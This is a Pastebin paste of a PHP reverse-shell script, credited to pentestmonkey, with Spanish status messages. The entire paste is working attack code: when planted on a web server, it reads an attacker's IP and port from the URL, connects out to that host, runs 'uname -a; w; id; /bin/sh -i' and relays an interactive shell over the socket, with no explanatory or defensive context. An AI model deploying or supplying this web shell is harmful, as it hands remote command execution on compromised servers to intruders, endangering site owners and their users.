Advertisement
b4nz0k

reverse-shell pentestmonkey

Nov 28th, 2011
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.74 KB | None | 0 0
  1. <?php
  2. if (isset($_GET['ip']) && isset($_GET['port'])) {
  3. #by http://pentestmonkey.net/
  4.  
  5. set_time_limit(0);
  6. $write_a = null;
  7. $error_a = null;
  8. $daemon = 0;
  9. $debug = 0;
  10. $chunk_size = 1400;
  11. $host= $_GET['ip'];
  12. $port = $_GET['port'];
  13. $comando='uname -a; w; id; /bin/sh -i';
  14. $socks = fsockopen($host, $port, $errno, $errstr, 30);
  15. if (!$socks) {
  16.     printit("$errstr ($errno)");
  17.     exit(1);
  18. }
  19.  
  20. $descriptorspec = array(
  21.   0 => array("pipe", "r"),
  22.   1 => array("pipe", "w"),
  23.   2 => array("pipe", "w")
  24. );
  25. $process=proc_open($comando,$descriptorspec,$pipes);
  26.  
  27. stream_set_blocking($pipes[0], 0);
  28. stream_set_blocking($pipes[1], 0);
  29. stream_set_blocking($pipes[2], 0);
  30. stream_set_blocking($socks, 0);
  31. echo '<script>alert("Conectado a '. $host .'");</script>';
  32. while (1) {
  33.  
  34.     if (feof($socks)) {
  35.         printit("ERROR: Shell [*] Connection Terminada");
  36.         break;
  37.     }
  38.     if (feof($pipes[1])) {
  39.         printit("ERROR: Shell [*] Proceso Terminado");
  40.         break;
  41.     }
  42.  
  43.     $read_a = array($socks, $pipes[1], $pipes[2]);
  44.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  45.  
  46.     if (in_array($socks, $read_a)) {
  47.         if ($debug) printit("SOCK READ");
  48.         $input = fread($socks, $chunk_size);
  49.         if ($debug) printit("SOCK: $input");
  50.         fwrite($pipes[0], $input);
  51.     }
  52.  
  53.     if (in_array($pipes[1], $read_a)) {
  54.         if ($debug) printit("STDOUT READ");
  55.         $input = fread($pipes[1], $chunk_size);
  56.         if ($debug) printit("STDOUT: $input");
  57.         fwrite($socks, $input);
  58.     }
  59.  
  60.     if (in_array($pipes[2], $read_a)) {
  61.         if ($debug) printit("STDERR READ");
  62.         $input = fread($pipes[2], $chunk_size);
  63.         if ($debug) printit("STDERR: $input");
  64.         fwrite($socks, $input);
  65.     }
  66. }
  67. fclose($socks);
  68. fclose($pipes[0]);
  69. fclose($pipes[1]);
  70. fclose($pipes[2]);
  71. proc_close($process); }
  72.  
  73. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement